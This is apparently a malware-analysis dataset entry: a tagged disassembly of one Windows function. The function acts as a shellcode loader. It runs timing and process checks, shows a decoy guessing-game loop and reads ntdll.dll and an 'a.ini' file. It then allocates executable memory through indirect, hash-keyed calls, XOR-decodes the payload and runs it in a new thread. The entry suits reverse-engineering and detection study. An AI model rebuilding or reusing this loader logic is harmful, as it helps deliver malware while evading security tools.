Function at 0x140002d30
Capabilities:
Encode data using xor
Enumerate processes
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1f0]
sub rsp, 0x2f0
mov rax, qword [0x140096008]
xor rax, rsp
mov qword [rbp + 0x1e8], rax
lea rdx, [0x140002ca0]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_AddVectoredExceptionHandler]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor esi, esi
xor ecx, ecx
mov qword [rsp + 0x60], rax
mov r13d, esi
call fcn.140032930
lea rcx, [rbp - 0x80]
mov qword [rbp - 0x80], rax
call fcn.1400330d0
mov r12d, dword [rax]
xor ecx, ecx
call fcn.140032930
lea rcx, [rbp - 0x80]
mov qword [rbp - 0x80], rax
call fcn.1400330d0
mov rbx, rax
mov ecx, dword [rax]
test ecx, ecx
mov eax, esi
mov ecx, 0x3e8
cmovne eax, r12d
mov r12d, eax
lea eax, [r13 + 1]
mov r13d, esi
cmovne r13d, eax
call qword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [rbx]
lea r15, [0x140097ae0]
sub eax, r12d
cmp eax, 0x37
jge 0x140002fac
cmp r13d, 0x37
je 0x140002eea
xor edx, edx
mov r15d, esi
lea ecx, [rdx + 2]
call qword [0x140099328]
mov r14, rax
cmp rax, 0xffffffffffffffff
je 0x140002ee3
lea rdx, [rbp - 0x60]
mov dword [rbp - 0x60], 0x238
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x140002ed1
mov qword [rsp + 0x38], rsi
lea r8, [rbp - 0x34]
mov qword [rsp + 0x30], rsi
mov r9d, 0xffffffff
mov dword [rsp + 0x28], esi
xor edx, edx
mov ecx, 0xfde9
mov qword [rsp + 0x20], rsi
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
movsxd rdi, eax
mov rcx, rdi
call fcn.14000a850
mov qword [rsp + 0x38], rsi
lea r8, [rbp - 0x34]
mov qword [rsp + 0x30], rsi
mov r9d, 0xffffffff
mov dword [rsp + 0x28], edi
xor edx, edx
mov ecx, 0xfde9
mov qword [rsp + 0x20], rax
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
lea rdx, str.notepad.exe
sub rdx, rbx
nop dword [rax]
movzx ecx, byte [rbx]
movzx eax, byte [rbx + rdx]
sub ecx, eax
jne 0x140002eb2
inc rbx
test eax, eax
jne 0x140002ea0
test ecx, ecx
je 0x140002ecd
lea rdx, [rbp - 0x60]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140002e31
jmp 0x140002ed1
mov r15d, dword [rbp - 0x58]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test r15d, r15d
jne 0x140002da1
lea r15, [0x140097ae0]
xor ecx, ecx
call fcn.140032930
mov rcx, rax
call fcn.140023040
call fcn.140023000
mov edi, eax
mov rcx, r15
mov eax, 0x51eb851f
mov ebx, esi
imul edi
mov r14d, esi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x64
lea rdx, [0x14008fca8]
sub edi, eax
inc edi
call fcn.1400061d0
lea rdx, [0x14008fcc0]
mov rcx, r15
call fcn.1400061d0
nop dword [rax + rax]
lea rdx, [0x14008fd08]
mov rcx, r15
call fcn.1400061d0
lea rdx, [rbp - 0x80]
mov dword [rbp - 0x80], ebx
call fcn.1400064a0
mov ebx, dword [rbp - 0x80]
inc r14d
cmp ebx, edi
jle 0x140002f71
mov rax, r15
lea rdx, [0x14008fd20]
jmp 0x140002fa0
jge 0x140002f7f
mov rax, r15
lea rdx, [0x14008fd38]
jmp 0x140002fa0
lea rdx, [0x14008fd68]
mov rcx, r15
call fcn.1400061d0
mov rcx, rax
mov edx, r14d
call fcn.140003310
lea rdx, [0x14008fd50]
mov rcx, rax
call fcn.1400061d0
cmp ebx, edi
jne 0x140002f40
lea rdx, [0x14008fd80]
lea rcx, str.C:WindowsSystem32_ntdll.dll
call fcn.140023380
mov rdi, rax
test rax, rax
jne 0x140002fdb
lea rcx, str.Error_opening_file
call fcn.140023bf0
lea eax, [rdi + 1]
jmp 0x1400032cc
xor edx, edx
mov rcx, rdi
lea r8d, [rdx + 2]
call fcn.140026fa0
mov rcx, rdi
call fcn.14001be50
xor r8d, r8d
mov ebx, eax
xor edx, edx
mov rcx, rdi
call fcn.140026fa0
mov ecx, ebx
call fcn.140033f30
mov qword [0x140099320], rax
test rax, rax
jne 0x140003031
lea rcx, str.Error_allocating_memory
call fcn.140023bf0
mov rcx, rdi
call fcn.140023a10
mov eax, 1
jmp 0x1400032cc
mov r9, rdi
mov r8, rbx
mov edx, 1
mov rcx, rax
call fcn.140033d90
mov rcx, rdi
call fcn.140023a10
lea rdx, [0x14008fd80]
mov dword [rbp + 0x1e0], 0x6e692e61
lea rcx, [rbp + 0x1e0]
mov word [rbp + 0x1e4], 0x69
call fcn.140023380
mov rdi, rax
test rax, rax
jne 0x140003148
xor ecx, ecx
call fcn.140032930
mov rcx, rax
call fcn.140023040
call fcn.140023000
mov ebx, eax
mov r14d, esi
mov eax, 0x51eb851f
imul ebx
sar edx, 5
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0x64
lea rdx, [0x14008fca8]
sub ebx, ecx
mov rcx, r15
inc ebx
call fcn.1400061d0
lea rdx, [0x14008fcc0]
mov rcx, r15
call fcn.1400061d0
nop dword [rax]
lea rdx, [0x14008fd08]
mov rcx, r15
call fcn.1400061d0
lea rdx, [rbp - 0x80]
mov dword [rbp - 0x80], esi
call fcn.1400064a0
mov edi, dword [rbp - 0x80]
inc r14d
mov esi, edi
cmp edi, ebx
jle 0x140003103
mov rax, r15
lea rdx, [0x14008fd20]
jmp 0x140003132
jge 0x140003111
mov rax, r15
lea rdx, [0x14008fd38]
jmp 0x140003132
lea rdx, [0x14008fd68]
mov rcx, r15
call fcn.1400061d0
mov rcx, rax
mov edx, r14d
call fcn.140003310
lea rdx, [0x14008fd50]
mov rcx, rax
call fcn.1400061d0
cmp edi, ebx
jne 0x1400030d0
mov eax, 1
jmp 0x1400032cc
xor edx, edx
mov rcx, rdi
lea r8d, [rdx + 2]
call fcn.140026fa0
mov rcx, rdi
call fcn.14001be50
xor r8d, r8d
mov r14d, eax
xor edx, edx
mov rcx, rdi
call fcn.140026fa0
mov r15, qword [rsp + 0x60]
lea r9, [rbp - 0x78]
mov ebx, r14d
mov dword [rsp + 0x28], 4
mov rcx, r15
mov qword [rsp + 0x70], rsi
xor r8d, r8d
mov qword [rsp + 0x68], rsi
lea rdx, [rsp + 0x70]
mov qword [rbp - 0x78], rbx
mov qword [rbp - 0x70], rbx
mov dword [0x140099318], 0x14044ae
mov dword [rsp + 0x20], 0x1000
call qword [0x140099308]
lea r9, [rbp - 0x70]
mov dword [rsp + 0x28], 0x40
xor r8d, r8d
mov dword [rsp + 0x20], 0x1000
lea rdx, [rsp + 0x68]
mov rcx, r15
call qword [0x140099308]
mov r8, qword [rsp + 0x68]
lea rcx, str._p___p
mov rdx, qword [rsp + 0x70]
call fcn.140001720
mov rcx, qword [rsp + 0x70]
test rcx, rcx
je 0x140003013
mov r9, rdi
mov r8d, ebx
mov edx, 1
call fcn.140033d90
mov rcx, rdi
call fcn.140023a10
mov r9d, r14d
mov rdx, rsi
shr r9d, 1
and r14d, 1
add r9d, r14d
test rbx, rbx
je 0x140003273
mov r8d, r9d
mov rax, qword [rsp + 0x70]
cmp rdx, r9
jae 0x140003242
movzx ecx, byte [r8 + rax - 1]
jmp 0x140003246
movzx ecx, byte [rdx + rax]
mov rax, qword [rsp + 0x68]
dec r8
mov byte [rdx + rax], cl
inc rdx
cmp rdx, rbx
jb 0x140003230
mov rdx, rsi
nop dword [rax]
mov rcx, qword [rsp + 0x68]
lea eax, [rdx + 1]
xor byte [rcx + rdx], al
inc rdx
cmp rdx, rbx
jb 0x140003260
mov rax, qword [rsp + 0x68]
lea rcx, [rsp + 0x78]
mov qword [rsp + 0x50], rsi
mov r9, r15
mov qword [rsp + 0x48], rsi
xor r8d, r8d
mov qword [rsp + 0x40], rsi
mov edx, 0x1fffff
mov qword [rsp + 0x38], rsi
mov dword [rsp + 0x30], esi
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rax
mov dword [0x140099318], 0x93ec9d3d
call qword [0x140099310]
mov rcx, qword [rsp + 0x78]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor eax, eax
mov rcx, qword [rbp + 0x1e8]
xor rcx, rsp
call fcn.14000a7a0
lea r11, [rsp + 0x2f0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret